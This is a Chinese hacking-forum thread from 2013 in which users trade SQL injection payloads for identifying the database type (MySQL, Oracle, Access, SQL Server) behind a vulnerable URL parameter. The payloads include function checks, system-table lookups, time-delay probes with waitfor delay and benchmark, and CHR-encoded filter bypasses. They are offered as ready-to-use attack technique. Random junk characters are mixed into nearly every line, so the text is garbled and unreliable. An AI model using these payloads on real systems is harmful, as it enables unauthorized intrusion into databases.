找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2029|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
) I' {7 A1 _0 h$ x. I+ wxsser (十根阳具有长短!!) | 2013-02-05 12:36
4 k8 L- \4 U% z. C, P. B假设这么一个注射点:
* B# a7 ?6 x# ^' bshow.html?id=2
% j. @" h7 J8 \. r' Wmysql:id=2 and version()>0
: j, Z6 U) ?& k6 m" E& }oracle:id=2 and '1'||'1'='11. Y6 ?  ~3 w' c+ s
其他的欢迎补充1 m4 N+ C6 m% [% c" w
1#: C3 T$ t% V4 @. Z- ~
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
2 E! I: l% g' L$ }, YAccess:
0 y7 J% {7 R# ]/ G# y2 saNd aSc(cHr(97))=97) e. r/ H% i' |
and exists(select id from MSysAccessObjects)
* B- @) H/ g/ D; wSQL Server:" Z+ |8 Q8 Z) k( h5 w* g, L- T9 |0 t
and exists(select id from sysobjects)
. M8 P' }1 S7 F" A! l& a, Tand length(user)>0
" P6 ^  p( k2 {3 a9 R' M7 P" fMySQL:
: ^2 n( l3 p/ ~) _; E6 `and length(user())>0* a" E8 N! S7 B4 u5 o
2#
" J* r0 a" W% U% J, pxsser (十根阳具有长短!!) | 2013-02-05 12:48# u5 ]9 |% ?% Q5 }$ N! j
@upload 如果这些都不是呢…
, u& v; s5 k3 |& d) t4 ~3 z5 D3#  g# H# d2 M- x3 Z" {) b
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03( ^8 I8 P% \$ d: ~3 c
@xsser 不快速的,延时注入
" P8 k$ [0 l8 |  D0 O. m不知道这样写对不对4 Y( p% j, p5 N& t
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'4 u. E# s2 O" c4 W: @3 d
mysql:id=2 and select benchmark(1e8,current_date());
; L" x0 M9 e: H3 {: d4#$ z$ t! o5 G" o5 {! |5 D
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
* I& \$ o. O/ g/ B4 L最快的貌似是看报错信息
+ l/ F9 j3 t1 ~& Z0 woracle error+ T2 N# y( P, u( ^
mssql error+ j1 M" v: Q! B' C- {. j' O
mysql error% |  n; ]$ w* A4 G
5#6 `9 ?' B! j5 P8 C) a3 B5 F5 H$ o" q
Nimda (你们都是坏银~) | 2013-02-05 13:14
: ^+ q8 A0 e# |小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
2 @5 m0 v4 r- e6 F8 j- E9 t$ n7 C# \5 z6#
9 n5 V/ n7 v! Q; M1 Y4 jupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
5 ]% j& ^; D1 }4 P- \“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
* t% k! h' p5 B“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
2 I8 ?8 t" n( I. m$ H“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。5 T4 I# \# I  ~% [. _6 x: Y4 }, [% @
7#
  J* S+ P0 O. }$ c6 A_Evil (HackEnd) | 2013-02-05 13:33
2 l& r% Z+ F1 N. i9 C6 Y% oPostgreSQL& M0 V" v6 [- l2 s( ]! P( L
8#& x" }+ e- p2 g0 G
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
- }" J  F* U" Y! l% h$ Y切换编码 and 1=1
1 ]; z! }. I3 i9 A, {8 f% Boracle:, b* o+ S# y# Z$ `# V1 a5 p7 }" }
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
( n  r& s6 U# E& C2 F" t  nmssql:5 v# V6 x6 y! n# ^. g
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
, n/ K; G& ~' }  Zmysql:
! W  d( y3 v1 Y: XCHAR(97, 110, 100, 32, 49, 61, 49)
- z* Q* \% `9 _3 K9#
  P( K. Q! ?  f2 u3 P& b' Oxsser (十根阳具有长短!!) | 2013-02-05 14:31( l: L9 m: p) f
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?/ G3 e- o' h% T( o' h
10#
0 h# K' |8 ]6 q9 v. S$ A' k0 Hupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:468 N( {. l6 q' A9 p9 {5 d
@xsser 是奇葩数据库类型的么?' ~0 ~1 v9 E9 k, z" n
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:  [6 K8 U! r7 i* V: e  I" A
1.是否可以使用特定的函数来判断,该数据库特有的
7 i# t2 }! p: k2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等2 N2 c3 S4 S2 @# F5 S/ ~/ I$ I
3.是否可以编码查询$ _  u( U# x5 N; Z* B
4.是否显可以利用错信息0 v  l6 U( @4 j# K
5.是否存在数据库某些特性辅助判断
$ {" g' Z- a) A% f$ x% S$ r% j个人见解
" Q! D; z) w( e0 W11#% u6 Y5 V) U, `
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:558 E# J& Q- A. G$ I1 R
已收藏,mssql可以直接看到错误提示的吧~
' P5 M- `+ _7 `! b4 z: m" |5 Y12#
# s1 K: l& ^# `9 h; rPasser_by | 2013-02-05 15:09
2 f! l+ p6 {8 Z$ [3 e& ~! G曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
$ \" F5 Y; K" [6 a+ q8 ~' Mfrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表